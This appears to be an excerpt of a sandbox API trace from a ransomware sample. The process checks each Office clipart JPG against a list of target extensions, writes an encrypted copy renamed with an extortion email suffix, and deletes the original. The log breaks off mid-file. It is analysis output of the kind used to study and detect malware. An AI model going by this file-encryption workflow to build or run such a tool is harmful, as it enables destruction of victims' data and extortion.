	[0180.941] WriteFile (in: hFile=0x53c, lpBuffer=0x3949020*, nNumberOfBytesToWrite=0xc060, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesWritten=0x2befc94*=0xc060, lpOverlapped=0x0) returned 1
	[0180.943] ReadFile (in: hFile=0x550, lpBuffer=0x3949020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesRead=0x2befecc*=0x0, lpOverlapped=0x0) returned 1
	[0180.943] WriteFile (in: hFile=0x53c, lpBuffer=0x3949020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesWritten=0x2befc94*=0xec, lpOverlapped=0x0) returned 1
	[0180.943] SetEndOfFile (hFile=0x53c) returned 1
	[0180.954] CloseHandle (hObject=0x53c) returned 1
	[0180.954] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.954] SetEndOfFile (hFile=0x550) returned 1
	[0180.978] CloseHandle (hObject=0x550) returned 1
	[0180.978] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145272.JPG.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0180.978] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145272.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145272.jpg")) returned 1
	[0180.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145272.JPG") returned 68
	[0180.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145272.JPG") returned 68
	[0180.979] lstrlenW (lpString=".doc") returned 4
	[0180.979] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0180.979] lstrlenW (lpString=".docx") returned 5
	[0180.979] lstrcmpiW (lpString1=".docx", lpString2="2.JPG") returned -1
	[0180.979] lstrlenW (lpString=".pdf") returned 4
	[0180.979] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0180.979] lstrlenW (lpString=".xls") returned 4
	[0180.979] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0180.979] lstrlenW (lpString=".xlsx") returned 5
	[0180.979] lstrcmpiW (lpString1=".xlsx", lpString2="2.JPG") returned -1
	[0180.979] lstrlenW (lpString=".ppt") returned 4
	[0180.979] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0180.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145272.JPG") returned 68
	[0180.979] lstrlenW (lpString=".zip") returned 4
	[0180.979] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0180.979] lstrlenW (lpString=".rar") returned 4
	[0180.979] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0180.979] lstrlenW (lpString=".bz2") returned 4
	[0180.980] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0180.980] lstrlenW (lpString=".7z") returned 3
	[0180.980] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0180.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145272.JPG") returned 68
	[0180.980] lstrlenW (lpString=".dbf") returned 4
	[0180.980] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0180.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145272.JPG") returned 68
	[0180.980] lstrlenW (lpString=".1cd") returned 4
	[0180.980] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0180.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145272.JPG") returned 68
	[0180.980] lstrlenW (lpString=".jpg") returned 4
	[0180.980] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0180.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145272.JPG") returned 68
	[0180.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145272.JPG") returned 68
	[0180.980] lstrlenW (lpString=".doc") returned 4
	[0180.980] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0180.980] lstrlenW (lpString=".docx") returned 5
	[0180.980] lstrcmpiW (lpString1=".docx", lpString2="2.JPG") returned -1
	[0180.980] lstrlenW (lpString=".pdf") returned 4
	[0180.980] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0180.980] lstrlenW (lpString=".xls") returned 4
	[0180.980] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0180.980] lstrlenW (lpString=".xlsx") returned 5
	[0180.980] lstrcmpiW (lpString1=".xlsx", lpString2="2.JPG") returned -1
	[0180.980] lstrlenW (lpString=".ppt") returned 4
	[0180.980] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0180.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145272.JPG") returned 68
	[0180.980] lstrlenW (lpString=".zip") returned 4
	[0180.980] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0180.980] lstrlenW (lpString=".rar") returned 4
	[0180.981] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0180.981] lstrlenW (lpString=".bz2") returned 4
	[0180.981] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0180.981] lstrlenW (lpString=".7z") returned 3
	[0180.981] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0180.981] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145272.JPG") returned 68
	[0180.981] lstrlenW (lpString=".dbf") returned 4
	[0180.981] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0180.981] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145272.JPG") returned 68
	[0180.981] lstrlenW (lpString=".1cd") returned 4
	[0180.981] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0180.981] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145272.JPG") returned 68
	[0180.981] lstrlenW (lpString=".jpg") returned 4
	[0180.981] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0180.981] lstrcmpiW (lpString1=".JPG", lpString2=".Z9") returned -1
	[0180.981] lstrlenW (lpString="J0145707.JPG") returned 12
	[0180.982] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145707.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145707.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x524
	[0181.018] GetFileSizeEx (in: hFile=0x524, lpFileSize=0x2beff14 | out: lpFileSize=0x2beff14*=36820) returned 1
	[0181.018] CloseHandle (hObject=0x524) returned 1
	[0181.018] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145707.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145707.jpg")) returned 0x220
	[0181.019] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145707.JPG.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145707.jpg.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0181.247] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145707.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145707.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x438
	[0181.247] SetFilePointerEx (in: hFile=0x438, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0181.247] SetFilePointerEx (in: hFile=0x438, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0181.248] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145707.JPG.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145707.jpg.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8
	[0181.249] GetLastError () returned 0x0
	[0181.249] ReadFile (in: hFile=0x438, lpBuffer=0x3949020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesRead=0x2befecc*=0x8fd4, lpOverlapped=0x0) returned 1
	[0182.413] WriteFile (in: hFile=0x3c8, lpBuffer=0x3949020*, nNumberOfBytesToWrite=0x8fe0, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesWritten=0x2befc94*=0x8fe0, lpOverlapped=0x0) returned 1
	[0182.448] ReadFile (in: hFile=0x438, lpBuffer=0x3949020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesRead=0x2befecc*=0x0, lpOverlapped=0x0) returned 1
	[0182.448] WriteFile (in: hFile=0x3c8, lpBuffer=0x3949020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesWritten=0x2befc94*=0xec, lpOverlapped=0x0) returned 1
	[0182.449] SetEndOfFile (hFile=0x3c8) returned 1
	[0182.472] CloseHandle (hObject=0x3c8) returned 1
	[0182.481] SetFilePointerEx (in: hFile=0x438, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.481] SetEndOfFile (hFile=0x438) returned 1
	[0182.484] CloseHandle (hObject=0x438) returned 1
	[0182.484] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145707.JPG.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0182.589] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145707.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145707.jpg")) returned 1
	[0182.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145707.JPG") returned 68
	[0182.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145707.JPG") returned 68
	[0182.755] lstrlenW (lpString=".doc") returned 4
	[0182.755] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0182.755] lstrlenW (lpString=".docx") returned 5
	[0182.755] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1
	[0182.755] lstrlenW (lpString=".pdf") returned 4
	[0182.755] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0182.755] lstrlenW (lpString=".xls") returned 4
	[0182.755] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0182.755] lstrlenW (lpString=".xlsx") returned 5
	[0182.755] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1
	[0182.755] lstrlenW (lpString=".ppt") returned 4
	[0182.755] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0182.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145707.JPG") returned 68
	[0182.755] lstrlenW (lpString=".zip") returned 4
	[0182.755] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0182.755] lstrlenW (lpString=".rar") returned 4
	[0182.755] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0182.755] lstrlenW (lpString=".bz2") returned 4
	[0182.755] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0182.755] lstrlenW (lpString=".7z") returned 3
	[0182.756] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0182.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145707.JPG") returned 68
	[0182.756] lstrlenW (lpString=".dbf") returned 4
	[0182.756] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0182.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145707.JPG") returned 68
	[0182.756] lstrlenW (lpString=".1cd") returned 4
	[0182.756] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0182.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145707.JPG") returned 68
	[0182.756] lstrlenW (lpString=".jpg") returned 4
	[0182.756] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0182.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145707.JPG") returned 68
	[0182.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145707.JPG") returned 68
	[0182.756] lstrlenW (lpString=".doc") returned 4
	[0182.756] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0182.756] lstrlenW (lpString=".docx") returned 5
	[0182.756] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1
	[0182.756] lstrlenW (lpString=".pdf") returned 4
	[0182.756] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0182.756] lstrlenW (lpString=".xls") returned 4
	[0182.756] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0182.756] lstrlenW (lpString=".xlsx") returned 5
	[0182.756] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1
	[0182.756] lstrlenW (lpString=".ppt") returned 4
	[0182.756] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0182.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145707.JPG") returned 68
	[0182.756] lstrlenW (lpString=".zip") returned 4
	[0182.756] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0182.756] lstrlenW (lpString=".rar") returned 4
	[0182.756] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0182.756] lstrlenW (lpString=".bz2") returned 4
	[0182.756] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0182.756] lstrlenW (lpString=".7z") returned 3
	[0182.756] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0182.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145707.JPG") returned 68
	[0182.757] lstrlenW (lpString=".dbf") returned 4
	[0182.757] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0182.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145707.JPG") returned 68
	[0182.757] lstrlenW (lpString=".1cd") returned 4
	[0182.757] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0182.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145707.JPG") returned 68
	[0182.757] lstrlenW (lpString=".jpg") returned 4
	[0182.757] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0182.757] lstrcmpiW (lpString1=".JPG", lpString2=".Z9") returned -1
	[0182.757] lstrlenW (lpString="J0148309.JPG") returned 12
	[0182.757] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148309.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0148309.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c
	[0182.914] GetFileSizeEx (in: hFile=0x52c, lpFileSize=0x2beff14 | out: lpFileSize=0x2beff14*=43674) returned 1
	[0182.914] CloseHandle (hObject=0x52c) returned 1
	[0182.914] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148309.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0148309.jpg")) returned 0x220
	[0182.914] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148309.JPG.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0148309.jpg.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0182.914] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148309.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0148309.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c
	[0182.914] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.914] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.914] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148309.JPG.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0148309.jpg.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0182.915] GetLastError () returned 0x0
	[0182.915] ReadFile (in: hFile=0x52c, lpBuffer=0x3949020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesRead=0x2befecc*=0xaa9a, lpOverlapped=0x0) returned 1
	[0182.918] WriteFile (in: hFile=0x554, lpBuffer=0x3949020*, nNumberOfBytesToWrite=0xaaa0, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesWritten=0x2befc94*=0xaaa0, lpOverlapped=0x0) returned 1
	[0182.920] ReadFile (in: hFile=0x52c, lpBuffer=0x3949020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesRead=0x2befecc*=0x0, lpOverlapped=0x0) returned 1
	[0182.920] WriteFile (in: hFile=0x554, lpBuffer=0x3949020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesWritten=0x2befc94*=0xec, lpOverlapped=0x0) returned 1
	[0182.920] SetEndOfFile (hFile=0x554) returned 1
	[0182.920] CloseHandle (hObject=0x554) returned 1
	[0182.920] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.921] SetEndOfFile (hFile=0x52c) returned 1
	[0182.924] CloseHandle (hObject=0x52c) returned 1
	[0182.924] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148309.JPG.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0182.925] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148309.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0148309.jpg")) returned 1
	[0182.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148309.JPG") returned 68
	[0182.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148309.JPG") returned 68
	[0182.926] lstrlenW (lpString=".doc") returned 4
	[0182.926] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0182.926] lstrlenW (lpString=".docx") returned 5
	[0182.926] lstrcmpiW (lpString1=".docx", lpString2="9.JPG") returned -1
	[0182.926] lstrlenW (lpString=".pdf") returned 4
	[0182.926] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0182.926] lstrlenW (lpString=".xls") returned 4
	[0182.926] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0182.926] lstrlenW (lpString=".xlsx") returned 5
	[0182.926] lstrcmpiW (lpString1=".xlsx", lpString2="9.JPG") returned -1
	[0182.926] lstrlenW (lpString=".ppt") returned 4
	[0182.926] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0182.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148309.JPG") returned 68
	[0182.926] lstrlenW (lpString=".zip") returned 4
	[0182.926] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0182.926] lstrlenW (lpString=".rar") returned 4
	[0182.926] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0182.926] lstrlenW (lpString=".bz2") returned 4
	[0182.927] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0182.927] lstrlenW (lpString=".7z") returned 3
	[0182.927] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0182.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148309.JPG") returned 68
	[0182.927] lstrlenW (lpString=".dbf") returned 4
	[0182.927] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0182.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148309.JPG") returned 68
	[0182.927] lstrlenW (lpString=".1cd") returned 4
	[0182.927] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0182.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148309.JPG") returned 68
	[0182.927] lstrlenW (lpString=".jpg") returned 4
	[0182.927] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0182.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148309.JPG") returned 68
	[0182.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148309.JPG") returned 68
	[0182.927] lstrlenW (lpString=".doc") returned 4
	[0182.927] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0182.927] lstrlenW (lpString=".docx") returned 5
	[0182.927] lstrcmpiW (lpString1=".docx", lpString2="9.JPG") returned -1
	[0182.927] lstrlenW (lpString=".pdf") returned 4
	[0182.927] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0182.927] lstrlenW (lpString=".xls") returned 4
	[0182.927] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0182.927] lstrlenW (lpString=".xlsx") returned 5
	[0182.927] lstrcmpiW (lpString1=".xlsx", lpString2="9.JPG") returned -1
	[0182.927] lstrlenW (lpString=".ppt") returned 4
	[0182.927] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0182.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148309.JPG") returned 68
	[0182.927] lstrlenW (lpString=".zip") returned 4
	[0182.927] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0182.927] lstrlenW (lpString=".rar") returned 4
	[0182.927] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0182.927] lstrlenW (lpString=".bz2") returned 4
	[0182.927] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0182.927] lstrlenW (lpString=".7z") returned 3
	[0182.927] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0182.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148309.JPG") returned 68
	[0182.928] lstrlenW (lpString=".dbf") returned 4
	[0182.928] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0182.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148309.JPG") returned 68
	[0182.928] lstrlenW (lpString=".1cd") returned 4
	[0182.928] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0182.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148309.JPG") returned 68
	[0182.928] lstrlenW (lpString=".jpg") returned 4
	[0182.928] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0182.928] lstrcmpiW (lpString1=".JPG", lpString2=".Z9") returned -1
	[0182.928] lstrlenW (lpString="J0148757.JPG") returned 12
	[0182.928] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148757.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0148757.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c
	[0182.929] GetFileSizeEx (in: hFile=0x52c, lpFileSize=0x2beff14 | out: lpFileSize=0x2beff14*=67540) returned 1
	[0182.929] CloseHandle (hObject=0x52c) returned 1
	[0182.930] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148757.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0148757.jpg")) returned 0x220
	[0182.930] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148757.JPG.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0148757.jpg.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0182.930] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148757.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0148757.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c
	[0182.930] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.930] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.930] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148757.JPG.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0148757.jpg.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0182.931] GetLastError () returned 0x0
	[0182.931] ReadFile (in: hFile=0x52c, lpBuffer=0x3949020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesRead=0x2befecc*=0x107d4, lpOverlapped=0x0) returned 1
